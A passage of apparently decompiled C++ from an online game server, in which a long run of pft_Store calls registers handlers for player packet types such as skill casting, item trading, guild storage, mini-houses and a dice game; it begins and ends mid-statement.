*)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCAST_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 28, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCASTABORT_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 43, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTART_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 50, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTOP_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 51, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_OBJ_CAST_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 64, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_OBJ_CAST_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 65, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_FLD_CAST_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 68, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 62, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BAT_ASSIST_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 84, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BAT_ABSTATE_ERASE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 3, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ITEM_BUY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 6, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ITEM_SELL_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 11, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ITEM_RELOC_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 13, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 15, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 16, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 18, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ITEM_UNEQUIP_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 7, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_DROP_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 9, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ITEM_PICK_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 21, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 23, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 25, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_USEABORT_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 28, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 30, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_WITHDRAW_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 34, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ITEM_CHARGED_WITHDRAW_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 32, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_CHARGEDINVENOPEN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 38, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 42, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ITEM_DISMANTLE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 44, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_REWARDINVENOPEN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 47, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 49, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 51, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 53, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 72, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_PARTY_MEMBERINFOREQ_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 20, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 20, 2, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_BUY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 20, 7, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_USE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 20, 9, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_USE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 7, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_CANCEL_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 3, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_ASKNO_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 6, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSEYES_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 10, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_TRADE_CANCEL_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 13, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 17, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 21, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 25, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_TRADE_BOARDLOCK_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 31, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_TRADE_DECIDE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 18, 17, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOWALLOC_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 18, 34, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_SKILL_PRODUCTFIELD_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 18, 36, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_SKILL_UNLEARN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 23, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_WT_LICENSE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 24, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CT_SET_CURRENT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 22, 26, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_KQ_ENTRYRESPONCE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 26, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 26, 4, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BOOTH_CLOSE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 26, 7, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BOOTH_ENTRY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 26, 13, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BOOTH_ITEMTRADE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 26, 10, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BOOTH_REFRESH_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 26, 16, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BOOTH_INTERIORSTART_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 17, 2, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_QUEST_SCRIPT_CMD_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 17, 7, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_QUEST_GIVE_UP_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 17, 11, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_QUEST_CLIENT_SCENARIO_DONE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 17, 15, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_QUEST_SELECT_START_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 17, 17, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 27, 6, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREAENTRY_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 27, 8, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREALEAVE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_ACTIV_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 10, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_LOGINCOMPLETE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 3, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_BUILDING_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 24, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_EXIT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 34, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_CREATE_FURNITURE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 37, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_DELETE_FURNITURE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 31, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_REARRANGE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 29, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FUNITUREINFOCOMPLETE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 14, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_VISITREADY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 16, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_VISIT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 43, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_PASSWORD_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 46, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_TITLE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 50, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_MAXENTERNUM_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 18, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_KICKOUT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 61, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_CHAR_ACTION_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 64, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EFFECT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 67, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_ITEM_INFO_OPEN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 72, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_NOTIFY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 80, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_PORTAL_OPEN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 83, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_PORTAL_CLOSE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 86, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_PORTAL_EFFECT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 98, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 101, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 43, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_GAME_JOIN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 43, 5, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_GAME_LEAVE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 43, 11, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_EXPECT_INCOME_MONEY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 43, 15, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_RECEIPT_INCOME_MONEY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 43, 19, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_GAME_MODE_CHANGE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 43, 22, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_RANK_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 43, 26, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_BETTING_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 43, 29, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_BETTING_CANCEL_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 43, 40, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_LARGE_AMOUNT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 145, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GUILD_STORAGEOPEN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 156, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_RECALL_ENTER_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 160, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEMDB_CLOSE_GUILD_STORAGE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 109, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_OPEN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 111, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_CLOSE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 172, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 180, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 202, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 207, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_USESKILL_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 211, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_DICEGAME_THROW_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 215, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_OBSERVER_ENTER_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( 